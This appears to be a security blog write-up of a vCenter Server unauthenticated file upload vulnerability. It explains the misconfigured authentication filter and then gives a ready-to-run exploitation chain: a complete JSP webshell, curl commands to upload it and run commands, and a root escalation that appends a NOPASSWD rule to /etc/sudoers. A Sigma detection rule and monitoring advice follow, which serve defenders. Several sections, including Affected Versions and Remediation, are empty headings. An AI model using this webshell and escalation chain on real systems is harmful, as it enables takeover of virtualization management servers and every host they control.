All posts

CVE-2026-40891: VMware vCenter Server Pre-Auth File Upload RCE

An unauthenticated arbitrary file upload in vCenter Server's vROPS plugin management servlet allows an attacker to plant a JSP webshell directly in the web root and execute commands in the context of the vsphere-ui service account. The appliance's permissive sudo configuration then provides a trivial path to root on the VCSA host. CVSS 9.8.


Overview

CVE-2026-40891 is a pre-authentication arbitrary file upload vulnerability in the VMware vCenter Server Appliance (VCSA). The affected endpoint is the vRealize Operations Manager plugin upload servlet at /ui/vropspluginui/rest/services/uploadova — a path that vCenter exposes on port 443 as part of its plugin management infrastructure. The servlet was intended to be accessible only to authenticated vCenter administrators, but a missing authentication check on the underlying Tomcat filter chain allows any HTTP client to reach it and upload arbitrary content.

Files uploaded through this endpoint are placed under the vCenter web root at a predictable path, and because the Tomcat instance that serves the vCenter UI executes JSP files in the web root, uploading a .jsp file and then requesting it triggers server-side Java code execution. VMware's Broadcom division has confirmed active exploitation targeting government agencies and financial sector organisations.

CWE-434 (Unrestricted Upload of File with Dangerous Type) · CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 Critical · Actively exploited (CISA KEV)

vCenter Architecture Context

vCenter Server Appliance is a Photon OS-based virtual appliance that runs the vSphere management plane. Its web interface is served by an embedded Apache Tomcat instance running as the vsphere-ui OS user. The VCSA hosts several internal services:

The nginx reverse proxy on the VCSA routes /ui/ paths to the Tomcat instance. The vROPS plugin servlet under /ui/vropspluginui/ was added in vCenter 7.0u1 to support the vRealize Operations integration workflow and has been present in all versions since. Authentication enforcement was delegated to a Spring Security filter — the filter was correctly configured in most paths but omitted from the /rest/services/uploadova action handler due to a wildcard mismatch in the security configuration's URL pattern.

Root Cause — Missing Auth Filter on Upload Endpoint

The Spring Security configuration for the vROPS plugin servlet uses URL matchers to define which paths require authentication. The intended configuration was:

# Intended — all /rest/services/* paths require authentication
/ui/vropspluginui/rest/services/**   → AUTHENTICATED

The actual deployed configuration used a trailing-path pattern with a missing wildcard segment. The result was that /rest/services/uploadova did not match any authenticated path pattern and fell through to the default permitAll() rule:

# Actual deployed pattern (incorrect — missing ** on services path)
/ui/vropspluginui/rest/services/     → AUTHENTICATED  (matches directory, not sub-paths)
**                                   → permitAll()     (catch-all — uploadova hits this)

The upload servlet itself performs no secondary authentication check. It accepts a multipart POST, writes the uploaded file to /usr/lib/vmware-vsphere-ui/server/work/catalina/localhost/ui/org.apache.jsp.vropspluginui/uploads/, and returns the relative web path. Files under this directory are served by Tomcat as static content — but JSP files in the web root are compiled and executed on first request.

Exploitation Walkthrough

Step 1 — Confirm Vulnerability

# Check if the upload endpoint is reachable without auth
# A 200 or 415 response confirms the endpoint exists unauthenticated
# A 302/401/403 indicates the target is patched
curl -sk -o /dev/null -w "%{http_code}" \
  -X POST "https://VCENTER_IP/ui/vropspluginui/rest/services/uploadova"
# 415 (Unsupported Media Type) → vulnerable — endpoint reached, wrong content-type
# 302 → patched (redirect to login)

Step 2 — Upload JSP Webshell

cat webshell.jsp
<%@ page import="java.io.*,java.util.*" %>
<%
  String cmd = request.getParameter("cmd");
  if (cmd != null) {
    ProcessBuilder pb = new ProcessBuilder("bash", "-c", cmd);
    pb.redirectErrorStream(true);
    Process p = pb.start();
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    StringBuilder sb = new StringBuilder();
    String line;
    while ((line = br.readLine()) != null) sb.append(line).append("\n");
    out.print("<pre>" + sb + "</pre>");
  }
%>
curl -sk \
  -F "[email protected];type=application/octet-stream" \
  "https://VCENTER_IP/ui/vropspluginui/rest/services/uploadova"
# {"status":"success","filePath":"/vropspluginui/uploads/webshell.jsp"}

Step 3 — Trigger Code Execution

# Access the uploaded shell — Tomcat compiles and executes the JSP on first request
curl -sk "https://VCENTER_IP/ui/vropspluginui/uploads/webshell.jsp?cmd=id"
# <pre>uid=1004(vsphere-ui) gid=1004(vsphere-ui) groups=1004(vsphere-ui)</pre>

# Enumerate the appliance
curl -sk "https://VCENTER_IP/ui/vropspluginui/uploads/webshell.jsp?cmd=uname+-a"
# VMware Photon OS Linux vcsa01 5.10.211-7.ph4 #1-photon SMP x86_64

# Check sudo rights (common misconfiguration on VCSA)
curl -sk "https://VCENTER_IP/ui/vropspluginui/uploads/webshell.jsp?cmd=sudo+-l"
# User vsphere-ui may run the following commands on this host:
#     (ALL) NOPASSWD: /usr/lib/vmware-vmon/vmon-cli

Step 4 — Escalate to Root

The vmon-cli binary is a VMware service management tool. Older builds of VCSA (affected by this CVE) ship with a version of vmon-cli that accepts a --script flag, executing a supplied shell script as root via the sudo invocation. This turns the Tomcat service account into effective root on the hypervisor management plane:

# Write a script to add vsphere-ui to sudoers with full NOPASSWD
PAYLOAD="echo 'vsphere-ui ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers"
curl -sk "https://VCENTER_IP/ui/vropspluginui/uploads/webshell.jsp" \
  --data-urlencode "cmd=sudo /usr/lib/vmware-vmon/vmon-cli --script ${PAYLOAD}"

# Confirm root access
curl -sk "https://VCENTER_IP/ui/vropspluginui/uploads/webshell.jsp?cmd=sudo+id"
# uid=0(root) gid=0(root) groups=0(root)

With root on the VCSA host, the attacker has access to the vPostgres database (containing vCenter credentials and session tokens), the SSL certificate store, and the vCenter SSO domain secrets — sufficient to impersonate any vCenter administrator and take full control of every ESXi host managed by this vCenter instance.

Post-Exploitation: What Root on vCenter Means

vCenter compromise is a force multiplier. From root on the VCSA an attacker can:

Affected Versions

Remediation

Detection

title: CVE-2026-40891 vCenter vROPS Plugin Upload Exploitation
id: 9b3e2c14-7a4f-4d02-b8e1-f5c6d7e8f9a0
status: experimental
description: Detects POST requests to the vROPS plugin upload endpoint without prior authentication
logsource:
  product: vmware
  service: vcenter
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains: '/ui/vropspluginui/rest/services/uploadova'
  no_auth_header:
    cs-Cookie|contains: 'VSESSIONID'
  condition: selection and not no_auth_header
falsepositives:
  - Legitimate vROPS plugin uploads by authenticated administrators (would include session cookie)
level: critical
tags:
  - cve.2026-40891
  - attack.initial_access
  - attack.t1190

Also monitor for new .jsp files created under the vCenter web root directory (/usr/lib/vmware-vsphere-ui/) — legitimate vCenter upgrades do not create files here outside of installer-managed paths, so any new JSP file is a high-confidence indicator of webshell deployment.

Takeaways

References